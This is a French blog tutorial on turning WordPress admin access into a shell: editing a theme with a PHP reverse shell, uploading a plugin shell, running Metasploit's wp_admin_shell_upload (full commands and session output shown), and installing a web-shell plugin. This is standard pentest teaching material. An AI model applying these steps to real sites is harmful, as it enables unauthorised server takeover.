Web: Avoir un shell avec un compte admin wordpress

WordPress est un CMS qui permet de concevoir, gérer et mettre à jour des sites Web de manière dynamique. C'est le CMS le plus utilisé pour créer des sites. D'ailleurs ce site est créé avec wordpress 🙂 Le but de cet article est de vous montrer comment avoir un reverse shell ou un web shell via des identifiants admin.

Je vais vous montrer comment faire avec 4 méthodes:

  • Modifier un thème
  • Upload un plugin
  • Utiliser un module Metasploit
  • Installation d'un plugin Webshell

Modifier un thème

Un site wordpress doit obligatoirement avoir un thème activé. Ce thème définit le design global du site. Il est possible de modifier le code PHP du thème dans l'espace d'administration. Par conséquent il est possible d'insérer du code PHP malveillant afin d'obtenir un reverse shell par exemple.

Pour générer mon code malveillant je vais utiliser le code php de pentest-monkey qui va créer un reverse shell. Ce reverse shell est simple d'utilisation: il faut uniquement changer l'IP et le port de destination:

Une fois ce code php créé il faut le copier dans le thème du site wordpress. Pour éditer le thème il faut aller dans le menu apparence puis dans "éditeur de thème". Il faut ensuite coller le code du reverse shell dans une des pages du thème.

Dans la capture d'écran ci dessous vous pouvez voir que j'ai placé le code du reverse shell dans la page header.php donc le code php sera exécuté lorsque n'importe quelle page du site sera chargée.

Une fois le code php modifié il faut ouvrir un port en écoute sur votre PC et accéder à une page du site pour exécuter le code php contenu dans header.php.

Et voila c'est gagné 🙂

Upload un plugin

il faut tout d'abord créer un reverse shell sous la forme d'un fichier php
Je vais encore une fois utiliser le reverse shell de pentest monkey disponible ici

Pour que wordpress comprenne que ce fichier est un plugin il faut rajouter ce commentaire en haut du code php:

/*
Plugin Name: [le nom du plugin]
*/

il faut ensuite créer une archive avec ce fichier:

puis l'importer sur le site wordpress.

Il faut ensuite activer le plugin:

Ou alors déclencher le plugin en allant sur l'url: http://site-wordpress/wp-content/plugins/[nom de l'archive zip]/[nom du fichier php dans l'archive].php

et c'est encore gagné:

Module Metasploit

Pour obtenir un shell avec un compte wordpress il est également possible d'utiliser metasploit. Le module wp_admin_shell_upload va upload un plugin pour générer un reverse shell en quelques secondes:

msf5 > use exploit/unix/webapp/wp_admin_shell_upload
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set RHOST serveur-vuln.fr
RHOST => serveur-vuln.fr
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set TARGETURI /secret
TARGETURI => /secret
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
username => admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > set password admin
password => admin
msf5 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 192.168.1.11:4444
[*] Authenticating with WordPress using admin:admin...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[*] Executing the payload at /secret/wp-content/plugins/NlvnVVnoCg/ZbqDUuQfuB.php...
[*] Sending stage (38288 bytes) to 192.168.1.58
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.58:45676) at 2020-07-25 02:36:33 +0200
[+] Deleted ZbqDUuQfuB.php
[+] Deleted NlvnVVnoCg.php
[+] Deleted ../NlvnVVnoCg
meterpreter > getuid
Server username: www-data (33)

Installation d'un plugin "webshell"

Il existe plusieurs plugins qui permettent d'exécuter des commandes sur le système via un web shell. Si le serveur à accès à internet vous pouvez installer ce type de plugin. L'un de ces plugins s'appelle WPTerm.

Une fois installé et activé il est possible d'accéder au webshell via le menu outil > WPTerm

Conclusion

Il est assez facile d'obtenir un shell avec un compte admin wordpress. Parfois il n'est pas possible d'utiliser ces méthodes car les fonctions PHP pour exécuter des commandes ne sont pas activées mais ce type de configuration reste très rares. Dans tous les cas obtenir un compte admin est quelque chose de très intéressant pour un attaquant.


Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *